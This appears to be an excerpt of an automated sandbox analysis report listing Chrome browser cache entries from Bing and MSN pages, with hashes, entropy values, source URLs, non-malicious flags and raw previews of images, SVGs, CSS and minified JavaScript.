Preview:	RIFF.r..WEBPVP8X.... ......7..ICCPH......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1........

Chrome Cache Entry: 711

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3363), with no line terminators
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	5.195022922251816
Encrypted:	false
SSDEEP:	48:rVnoyUQXHE2ugs6SI7kVsP1mB88bTg7IYeYU5qnjRXpHNXhgkGq:Z+yhCPFy12dbTQ3k5GjZjr
MD5:	FABB77C7AE3FD2271F5909155FB490E5
SHA1:	CDE0B1304B558B6DE7503D559C92014644736F88
SHA-256:	E482BF4BAAA167335F326B9B4F4B83E806CC21FB428B988A4932C806D918771C
SHA-512:	CABB38F7961AB11449A6E895657D39C947D422F0B3E1DA976494C53203E0E91ADFC514B6100E632939C4335C119165D2330512CAA7D836A6C863087775EDAA9F
Malicious:	false
Reputation:	unknown
Preview:	var __spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))},AccountLink;(function(n){function h(n,t){var i=a(n.accLinkRefreshEndPointUrl),r={url:i,requestType:"GET",onSuccess:t.onSuccess,onError:t.onError};v(r)}function s(n){var t=c(n);h(n,t)}function c(n){return{onSuccess:function(n){var e=sb_gt(),o=Math.floor(e/1e3)1e3,f;sj_cook.set(r,u,o.toString(),!0,"/");t("Refresh Account Link info Success");i("onRefreshAccountLinkInfoResponse","success");f={IsTenantAllowAccountLink:n.IsTenantAllowAccountLink,HasLinkedAccount:n.HasLinkedAccount};n.AccountLinkUpdated&&(t("fire acclink:updated"),sj_evt.fire("acclink:updated",f));n.HasLinkedAccount&&n.IsTenantAllowAccountLink&&i("onRefreshAccountLinkInfoResponse","hasActiveLinkedAccount")},onError:function(f,e,o){var s=sb_gt(),h=Math.floor(s/1e3)1e3,c=h-(n.refreshAccountLink

Chrome Cache Entry: 712

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	3453
Entropy (8bit):	7.8544077851219125
Encrypted:	false
SSDEEP:	96:8zgE8ppp9o0FhGBB8NwnzigBX+ouc72Q4dHG:ygvpZABBH72Q6m
MD5:	BAD130729454555FA85F723AC455481F
SHA1:	0BC3FD4147C874F5E1A74F3E78C5DF85106F8506
SHA-256:	F3C57FF77DCF3796E95481C24D4302F6820DC0AAE9B68684BB978F6C085C4BA1
SHA-512:	7018ECFDDB2687DC6B970035736C7B57E0ED0CD82BABA3EF2108C1B49B44FAE8421126CB795964FA713BE0E7D638335CAEA60E010B9A8E391BBA3238DD213EEA
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..'4g...a.....I..7.E.PqF.bP...J.H.IN...X...Q.OK.V.^..e...K4...Gs......E..N9.V.It,."..22.....=Mx..5......2.c.>..;......ld)..z.[.~..iXj.j.2.$N. . .......Ak,H..\|.%..I..h.. .#.......I.N....MB.IvD..R-.i.fT....}ps..'......U.2..Z..O...5..#c.#..Z.?...#..8.!.O...5....c....Q:u".9.......!..5..(.^........z..5_mF5;....U.N.D.....IN....J(...B(....g.......bJ...A.Kin

Chrome Cache Entry: 713

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	409
Entropy (8bit):	6.974521018329099
Encrypted:	false
SSDEEP:	6:6v/lhPf+nMR3y2p7BwgFljMFEMCNn5inVvVunXKF9lsfW53A5FA/ZaUznTlO6lqQ:6v/7unM3lyuFVNNna4XABu5o/16Qp
MD5:	80969A6D700E813EF741D172674FEADD
SHA1:	361263C136CD857BA53FD7743C971BB7527BF12E
SHA-256:	0775687711D232F4C891F22CBC4040464E160C09044DEAA12C98BFBAB9C79CD6
SHA-512:	424891BE46A924B3DD222B39DEB740A54DED4C20818C5B4AF80E2BCF3B671260AA9E910C2D6F9FB48700D6E8DB370E0F0B52842499B7C885934108ABFEBCD4A2
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............(-.S....gAMA......a.....sRGB........{PLTEGpL.............\...........\..a. ...W....!.. h..t. ..................m.....{..t.!...f. ......R.....\. .........a.<..........H.....tRNS... ..=....... ..........IDAT..E.[.. .@.`D.k.ZA..j...&j...C`..(...R..Q!......4hVC%.#......d..xR/....(WA.....a..1r.a...v...X....F.]..]g.P....m[....}..<AZ.....!F/...1..^.Wj..K.}.....]......L....IEND.B`.

Chrome Cache Entry: 714

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1618
Entropy (8bit):	4.850212085607601
Encrypted:	false
SSDEEP:	24:3lgevYweeb+FNzH4/p6lF9pQw5tygfWrn:7v6eb+FChODp95Rf
MD5:	B968C717DEA559A124AA195198EDB1E0
SHA1:	015D4497E1696AF053529D456820F06BC595A200
SHA-256:	AFCC983BF9D600A691EEC04E43AE1F17508AF3DBF0702E36D51555F8023A37B1
SHA-512:	FD43A7A416F1522C1669CF4D895DF2A1D5D38FD2407454119D9272B09AC22C625B229AB64685395CEF0CAAB960083FF8D38A705D91844BA83D1A20039487C62C
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBAJ56P.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx...kHSa...g....m^6..9.6..6).etA.".(H....I.$X..](,..K.B./.....@..4.L1..tk..tMwi.w......y...<....C.....x.W...Y..7.....9.........y..1..}..E.l.oKk..s..T.k...-.\|..v....RZ.-....y.=.f>\|..}..)V....:...R........+w.2...[3u.....os....l...H.+...j.Lk.Rk..}8\..OGy...^..Ek}..:^2..............]..X(....U.hpI.h.J.L`.0.O.wB.B...$.{..:..2...m.T..J..............q.0./5b:$.....\yR.(5..8...$..-.n...X&....5. ....}......)G...7F.......'. .nHs.!0..T...:,...ik..;......'..3=..j.9B...^..v.@J.\..x. X..$B.t...4;.V..&.`.5C"..G...+...[G..M..)8.\`Xf.....)e...........~....Y../.K4+...F.....:}....{A...F.a.<...qO..rB".8..f.....>......f.l....nS...O..N[....9.8lc.4.(.....Pji?@y.D.....hc...)5....r..L..(m...2.J.%~...-..d>....]p................IEND.B`................................................................................................................................................................................

Chrome Cache Entry: 715

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65448)
Category:	downloaded
Size (bytes):	548910
Entropy (8bit):	5.429601585794126
Encrypted:	false
SSDEEP:	6144:gQPnVAMhSp4UquNy1l0F26xz4lmualqeyJg2NbQ/qipeL1GbQY:TkARl0FZz4lmfolJYee
MD5:	DF637DF6078E65EA2BB15807BDE1D4E4
SHA1:	DBB58CFB7CB67E8D16477A07C10D4034313AD513
SHA-256:	9E0EBE12CED0B67B08448E0CFA4FC3F8CFE3031602C0F5BC1107FF56AE178304
SHA-512:	9477448072C428FA3380B374F5B0CBAEE5B59D54C55ABBDE72F8A6CB8CB2FBDEDCC1D44D539B9ED8DE7000C2E872E7AC45BCB8EE8761C4557B1B8FEC03134440
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/microsoft.507f3331f95b815a1b1a.js
Preview:	/! For license information please see microsoft.507f3331f95b815a1b1a.js.LICENSE.txt /.(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["microsoft"],{63165:function(t,e,n){"use strict";n.d(e,{Z:function(){return D}});var i=n(45362),r=n(23806),o=n(80221),s=n(60851),a=n(26454),l=n(254),c=n(74539),u=n(98500),d=n(69509),h=n(39289),p=500;function f(t,e,n){e&&(0,c.kJ)(e)&&e[l.R5]>0&&(e=e.sort((function(t,e){return t[u.yi]-e[u.yi]})),(0,c.tO)(e,(function(t){t[u.yi]<p&&(0,c._y)("Channel has invalid priority - "+t[l.pZ])})),t[l.MW]({queue:(0,c.FL)(e),chain:(0,d.jV)(e,n[l.TC],n)}))}var g=n(85282),v=n(5482),m=n(33220),b=n(26932),y=function(t){function e(){var n,i,a=t.call(this)\|\|this;function d(){n=0,i=[]}return a.identifier="TelemetryInitializerPlugin",a.priority=199,d(),(0,r.Z)(e,a,(function(t,e){t.addTelemetryInitializer=function(t){var e={id:n++,fn:t};return i[l.MW](e),{remove:function(){(0,c.tO)(i,(function(t,n){if(t.id===e.id)return i[l.c

Chrome Cache Entry: 716

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1111
Entropy (8bit):	4.61511796141903
Encrypted:	false
SSDEEP:	24:twgonGLheJUVYxCdBTMqTS05sLGkkhQgbQgwHW4QhJ:6gAShpyxCdBTrS05sLKhvUfSJ
MD5:	C04C8834AC91802186E6CE677AE4A89D
SHA1:	367147873DA32FACB30A1B4885A07920854A6399
SHA-256:	46CC84BA382B065045DB005E895414686F2E76B64AF854F5AD1AC0DF020C3BDB
SHA-512:	82388309085BD143E32981FE4C79604DCEFC4222FB2B53A8625852C3572BDE3D3A578DD558478E6A18F7863CC4EC19DFBA3EE78AD8A4CC71917BFFE027DC22C0
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/NnFHhz2jL6yzChtIhaB5IIVKY5k.svg
Preview:	<svg width="20px" height="16px" viewBox="0 0 20 16" focusable="false" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <g transform="translate(-10, -12)" fill="#007DAA" >.. <path d="M28.125,14.4615385 L25,14.4615385 L24.26875,13.0203077 C23.95125,12.3950769 23.30125,12 22.59125,12 L17.40875,12 C16.69875,12 16.04875,12.3950769 15.73125,13.0203077 L15,14.4615385 L11.875,14.4615385 C10.84,14.4615385 10,15.2886154 10,16.3076923 L10,26.1538462 C10,27.1729231 10.84,28 11.875,28 L28.125,28 C29.16,28 30,27.1729231 30,26.1538462 L30,16.3076923 C30,15.2886154 29.16,14.4615385 28.125,14.4615385 Z M20,25.5384615 C17.23875,25.5384615 15,23.3341538 15,20.6153846 C15,17.8966154 17.23875,15.6923077 20,15.6923077 C22.76125,15.6923077 25,17.8966154 25,20.6153846 C25,23.3341538 22.76125,25.5384615 20,25.5384615 Z M20,18.1538462 C18.62125,18.1538462 17.5,19.2578462 17.5,20.6153846 C17.5,21.9729231 18.62125,23.0769231 20,23.0769231 C21.37875,23.0769231

Chrome Cache Entry: 717

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	32898
Entropy (8bit):	7.966174938249741
Encrypted:	false
SSDEEP:	768:egGj5p9sQdpX+CaqgqIrY4HKwuN22BTTH716SPBn7O/dBfXqCFSTAQ:egG9/sQfuCaqT4r21T716WBn7O/fXqH1
MD5:	263155C9BF11DABFBA7C0BDFC14D2964
SHA1:	804BFC4E233616F6CC4EA28953787C63160751BA
SHA-256:	D485AF81753103E942E7053EA3819D7327F6E640493B32C64EECDA2BB7F8E064
SHA-512:	8E8D29E4DBF5C4E74A7A463273442C75B624A8AA794280DDEB3EB08CBF31EE3F0CA13C61F558617F0CC48A781C3C527344C3F3D370B4B5BEFF9DA6FCAC7D16F4
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.5d3d736a5f99a0caf526a3a37a112f24&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..+..x..".S..Q..r.....7....M......@........J......M.7.'..^..3.sZ.s.>.q a......,..6..W...m...V...\|p...h.~H.Jw.B.>_..Y...S.2<.(.Sh...R..<...&.9....5Y1.l.H..7.z..t..)I..H....v.c# n$t9....Yq.]./.u..&.GK?..!i.._...W...^8$.....u....l.'.<....z.+C.F.'....G.....h.S}..d.7.W.??..}..l.^}..\|.'XQ.D..r#.pG/.{...a.f.......V.-c...t...-.).kS.4n.Y!_,J..T.N....g..-.&.hu....U...I&

Chrome Cache Entry: 718

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:43:45], progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	3814
Entropy (8bit):	7.634659202076907
Encrypted:	false
SSDEEP:	96:sQrbnTt8ATpTToooX6l4d309BEEGp0m1amWth0x/aA+9GnPoYXEcX:sS8AyJKl4xV0KamWtOb+SP0cX
MD5:	281570611F89219A970F2589F98A09DB
SHA1:	9E2DCCC8A295BBDA4AD12818EA06FA67634E1A98
SHA-256:	7BDAB4155253E159B748E2BE6CB1C0AF736F18D2A4DBDDF79D93D6219A3DE9DD
SHA-512:	FB9CAEE5B3FF8A3CE8C4D6D066CC0283A8A158E32131754CD9EFB1B4A25303CAA72FAE11C23E836B2A2F0D5005F0E39EB2A38D1D28CB81CAE5C1C818D77B80FB
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/ni3MyKKVu9pK0SgY6gb6Z2NOGpg.jpg
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:43:45....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......................................................................................... .. ..... .. .. ..$................H.............. ..$..H .. .....AY .....: ...P$..$.. .tXAI ......@....9..I...Rt....f$.Z....+..,.. .t@1.Q.O=..3.l.#.v..1gZ,...[..A&.y.....j....=-.{.[.....5t.y.q..T..t.UY...Z.,..]....{...bI<.4`..<].m'...D..9.......z5.....0G..U.b.e.qn6k7cwo......1G=......)n..g..1.vZ...jIu..9.c.uo=..>...r..-......2..g.V.Z\.{.^c:..Jj.uY....5-."V...?...(......................!..".. .12#0@ABp...............>.....n..>..z..z..n.' .\.J.-...u#.....c~.@d.......\|./..g..v....#..:a_....p=$Z.%.3..SN.G..Hi.._.W........L.........$.?..p_.w. ..e.h..A..9.-[..n.F.......Q.. .2.

Chrome Cache Entry: 719

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	3621
Entropy (8bit):	7.869742556964816
Encrypted:	false
SSDEEP:	48:8/bxnuERAczjHWu1zObitB0zRp5/tEHySKmpdvgWvPXba22J5ieGnCN9WpM:8zgE7vHWut5BWLeSspNjLa22J5i1CvW+
MD5:	AFA5114B4E0AB7C2770F87A24EB36CC0
SHA1:	F0443CD986DFA5AD165E91700639AC1B31F17CD9
SHA-256:	9434F5BD85A582483EF73E8B9FE18831894C311DB4C3A2BC3F3E9FE6CAC5A1BB
SHA-512:	DBD05FEE4CD440301B978E9B517CF8825AEBC34827BB120C0CC83EFD65393B7202C57FBD39091BF21A608FF91AEA3E114E2DEE63201DA5FEE650A0D36BF87103
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_-apHFCGZePml_B2QN3LKZA&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.."..=F.P...x.J.$...I.T....:Y........y.....l..?.'...?..?.....z..!6ooy...i..u.lw...r.d..d.z.^..E.i.].F.8'..a.z....Z.{....x.e..........J.9Kc..Ic....JL..V1..v$....W.......3e.....0........@..xoc..iO.r7t..\|{{.....owq-.C.p.A.j.r...........G.Y....u..#..RxP.\c.9.....2x.....b.I%..y.l.wee\.T.......U]z[{.baEP&...=..)'u..:...n{}....}..cl....1....j.q.G..A....'.....L.

Chrome Cache Entry: 720

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10425), with no line terminators
Category:	downloaded
Size (bytes):	10425
Entropy (8bit):	5.877747511835847
Encrypted:	false
SSDEEP:	192:049BHgs5BZND4Nd37hkB6ow9jkBw6wGG6XO9p7TkBUeU:04MENsNvI6oyI1wgXO9ZI4
MD5:	B74765F3D1ED99C2FAC3FA5E4202DC4B
SHA1:	A48B155DBBC65470F381282A1F9E21FF2DD46B27
SHA-256:	1792B996F940322E3222D3ABE4B08A1AE60CD7FDA3E186FA008D14C0E541551D
SHA-512:	1AB28BE6C73CFC7B08B9529EBB3EBC028A46DC88CCDBF002FCFF4854F624BD0DC6BDA42185B47C1CA312B14D1978172E5737EFF53FC4C2BC96B593DDE8A35849
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/pIsVXbvGVHDzgSgqH54h_y3Uayc.css
Preview:	#rewardsEntryPoint{display:block !important;position:fixed;top:-20%;right:0;z-index:1;opacity:.9}#rewardsEntryPoint:hover,#rewardsEntryPoint:focus{opacity:1}#rewardsEntryPoint.b_hide{display:none !important}#rewardsEntryPoint #overlayContainer{display:grid}#rewardsEntryPoint #overlayContainer #overlay,#rewardsEntryPoint #overlayContainer #pointsContainer{grid-area:none;height:50px;border-radius:50px 0 0 50px;box-shadow:0 0 2px 0 rgba(0,0,0,.12),0 4px 8px 0 rgba(0,0,0,.14)}#rewardsEntryPoint #overlayContainer #pointsContainer{background:linear-gradient(257deg,rgba(21,122,194,.9) 9.85%,rgba(12,182,95,.9) 70.99%)}#rewardsEntryPoint #overlayContainer #pointsContainer.hasMessage{width:174px}#rewardsEntryPoint #overlayContainer #pointsContainer:hover,#rewardsEntryPoint #overlayContainer #pointsContainer:focus{cursor:grabbing}#rewardsEntryPoint #overlayContainer #pointsContainer:hover #rewardsXClose.rms_img,#rewardsEntryPoint #overlayContainer #pointsContainer:focus #rewardsXClose.rms_img{dis

Chrome Cache Entry: 721

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.58625494968845
Encrypted:	false
SSDEEP:	24:ttMD4XW6zQpmgG5fYQpmgG5j4zFQZcSXWEcoqRQ:HRSm/Nvm/CIXWW
MD5:	B3199E6BAF6D264405C122BF5EBE64A0
SHA1:	EE1B56CEA599BFC1921C96885B585A6ACF523531
SHA-256:	BBA51407483F3DECBA29C8D3398AC6F244B415BE04055123775C4A428CFDFDDC
SHA-512:	5CB6654495A14595BCE84C0AA6C26FDFBE0E44E0E44DB703392641F772D26B4C6835501EEB5410CBBE6D882A3199795A812782472BED5A8A8D951CB56237B007
Malicious:	false
Reputation:	unknown
Preview:	<svg enable-background="new 0 0 64 48" viewBox="0 0 64 48" xmlns="http://www.w3.org/2000/svg"><path d="m59.5.5h-27.5v47h27.5c2.209 0 4-1.791 4-4v-39c0-2.209-1.791-4-4-4z" fill="#111"/><path d="m4.5.5h27.5v47h-27.5c-2.209 0-4-1.791-4-4v-39c0-2.209 1.791-4 4-4z" fill="#fff"/><path d="m4.5.5h55c2.209 0 4 1.791 4 4v39c0 2.209-1.791 4-4 4h-55c-2.209 0-4-1.791-4-4v-39c0-2.209 1.791-4 4-4z" fill="none" stroke="#ccc"/><path d="m14 14h-6c-1.105 0-2-.895-2-2v-4c0-1.105.895-2 2-2h6c1.105 0 2 .895 2 2v4c0 1.105-.895 2-2 2z" fill="#106ebe"/><path d="m34 36h-26c-1.105 0-2-.895-2-2v-14c0-1.105.895-2 2-2h26c1.105 0 2 .895 2 2v14c0 1.105-.895 2-2 2z" fill="#c4c4c4"/><path d="m24 14h29c2.209 0 4-1.791 4-4s-1.791-4-4-4h-29c-2.209 0-4 1.791-4 4s1.791 4 4 4zm31 4h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-47c-1.105 0-2 .895-2 2s.

Chrome Cache Entry: 722

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	4.766608922897402
Encrypted:	false
SSDEEP:	12:6v/7BmwZJnxhCNUcY7Lll5eAsXMkM7juOeLqGUy64sVZHOyiRxxnpZnBdBlLkstA:2mwXx8NQtlljde+rZARxBpZnzHxA
MD5:	94CF44E898F78026FF061A7AC656AF5F
SHA1:	2B97722BEB01CC40F61F788F5CA41893BA92B95E
SHA-256:	7BBD1B4EF7113F2370BBABC688820B45040697669F5B5E4A84E41566E2B057FE
SHA-512:	AB7C615DD222F93AFE033FC011D88960D1943F908D5AE07D37470503651C8BCF333BA58C51362ECF8C3E71C0EA9EA09B97974A3B0A65F927FB24CF14D359BA06
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx...Mh.Q...Lf2.v...S.(....B..XD..ua.E].n,n....;.k.V.....Q..O-...Q+.Ij.....^.....f.....w....j4.d2...AUU.^o3#.z...i..A.EiAP[..r.\..i.....v.W.I.......h..d"..bY......2. ].m..-cU...h..C....QqV...\|..s .^.7.,...........F.]......Rk...Ixr.....G.0Je.(PA..G._d......$Js.7,N.....UU..H...10.8.G...F..@..PI\..,n."\|,$8.......r!p..+..<...a!.S. X.E_7.bl..>#.yA....&.Z{....R.I7...%.\.........{..mG[m..{.b<F$.G8,tq....P.QG9..Wp(.9...c..a...O..>.A..._e...R.....S..p1t.._EU\...UrU.N1..kb.;..p..q..n!6....=._g.N.PP..!..^D.D..s...B.Z.z...9.[o4.!.q...<l2.q....J.\|^....1/...].......<.D...v.H$". .a.m'...JYV.,..[.j.e.T*.f..."(.J.v..na..QnHmKiKo......J;..A....LJ....IEND.B`.....................................................................................................................................................................................................................................................................

Chrome Cache Entry: 723

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 268x224, components 3
Category:	downloaded
Size (bytes):	5074
Entropy (8bit):	7.845195053496952
Encrypted:	false
SSDEEP:	96:NVC4ORjlM/XnhJ+/Tx4YMbLdDbfYnhFwQ/9QDRaHqbRKrfSILbt3F:N4pZ/ynbJDbQnHwQ1uRQqborfSID
MD5:	338F65B713FB3223DD2E2CDA761C9911
SHA1:	A1B5C82607FDD1AE7C863F26B075850C39371030
SHA-256:	9F6623F0BD4CEFB55110513DEC68EE7F903FEBD45DB753C8ABF6DE8D143D4CC5
SHA-512:	AE56E91779CF2839B848EDDD8D872381FCD1BE66392F5EC44AE337D85896BA9D88736F074844F7AF04C5B38BE9629B922FA50008A7603DE341BCA3F668DC0E52
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=OPHS.NSFqGIgWZwz0DA474C474&o=5&pid=21.1&c=17&h=224&w=268&rs=1
Preview:	......JFIF.............C.......................................%..%....)).%756.2>-)0.;!....C...........,...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..........."........................................B.........................!1..AQ.."aq...2R..#Bbr.....$%CSc..34Es................................".......................!.1.Q"2Aq............?.........dI2 ""." "'.n.v..L...6.1.u.W..dp.....H.b...'3..<7..L.....T...{...zE..s..O...V......00....Uf.He..XnylH.W9b#.~.)..o..t.Hf...n.kvJ.s.v(X..]H.<.....i8...z&..mn}..X..T......o..;..-....qN+x..........."L.D@DD.D@DD.D@DD..$.........>;..p....Z....y.5n.f.1Z.y.....~....u.]..&H........$.Yh..Lw2.Wu..lu..7#.6..D..{/nkW...>.}.k.........j..C..z...../X....n.~.v.........SK.s........]..U[P..?9.M....[.$...%.D@DD.D@I.&." ""." ""." ""..d@DD.D@N[.l.;3.[.Fj.n..N_C..3...zSM.s...8oi.Y.+.vw,..VOq.....d....)...m.rB.r..e.Bs........S..}SG..:+7..<vW...h.z..n9....w.........^~<n..&..i.(....Q...O..fdD.y...DD ........2$.DD.D@DD.D@D

Chrome Cache Entry: 724

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1111
Entropy (8bit):	4.61511796141903
Encrypted:	false
SSDEEP:	24:twgonGLheJUVYxCdBTMqTS05sLGkkhQgbQgwHW4QhJ:6gAShpyxCdBTrS05sLKhvUfSJ
MD5:	C04C8834AC91802186E6CE677AE4A89D
SHA1:	367147873DA32FACB30A1B4885A07920854A6399
SHA-256:	46CC84BA382B065045DB005E895414686F2E76B64AF854F5AD1AC0DF020C3BDB
SHA-512:	82388309085BD143E32981FE4C79604DCEFC4222FB2B53A8625852C3572BDE3D3A578DD558478E6A18F7863CC4EC19DFBA3EE78AD8A4CC71917BFFE027DC22C0
Malicious:	false
Reputation:	unknown
Preview:	<svg width="20px" height="16px" viewBox="0 0 20 16" focusable="false" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <g transform="translate(-10, -12)" fill="#007DAA" >.. <path d="M28.125,14.4615385 L25,14.4615385 L24.26875,13.0203077 C23.95125,12.3950769 23.30125,12 22.59125,12 L17.40875,12 C16.69875,12 16.04875,12.3950769 15.73125,13.0203077 L15,14.4615385 L11.875,14.4615385 C10.84,14.4615385 10,15.2886154 10,16.3076923 L10,26.1538462 C10,27.1729231 10.84,28 11.875,28 L28.125,28 C29.16,28 30,27.1729231 30,26.1538462 L30,16.3076923 C30,15.2886154 29.16,14.4615385 28.125,14.4615385 Z M20,25.5384615 C17.23875,25.5384615 15,23.3341538 15,20.6153846 C15,17.8966154 17.23875,15.6923077 20,15.6923077 C22.76125,15.6923077 25,17.8966154 25,20.6153846 C25,23.3341538 22.76125,25.5384615 20,25.5384615 Z M20,18.1538462 C18.62125,18.1538462 17.5,19.2578462 17.5,20.6153846 C17.5,21.9729231 18.62125,23.0769231 20,23.0769231 C21.37875,23.0769231

Chrome Cache Entry: 725

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1547
Entropy (8bit):	4.5002812368789336
Encrypted:	false
SSDEEP:	24:tBJluJMHMMV709HTMMrgCyDrGpsgsxPSBAs3b0PzlUVZFAHo38xAIUr4zYY3BArF:5/YbysuxPSdupG48ayP
MD5:	3AC9F8594F02FB302D7C05C7F64C3EA4
SHA1:	EFEEA55DE6C48BAD79D0AAAE1A954B19D5A14571
SHA-256:	EEF71DA25F01CC0B83539CECD5320B5717A10F441F82754DA23E6082083A86B9
SHA-512:	35A42CF8F6B57C95328EBD27A49C9CC0FDD158A329E46C61E3C7C07A218D001A964AF3D66506BFCA889754A0D47742615B731DB3110DBDDB6F3B33594A7AFFF1
Malicious:	false
Reputation:	unknown
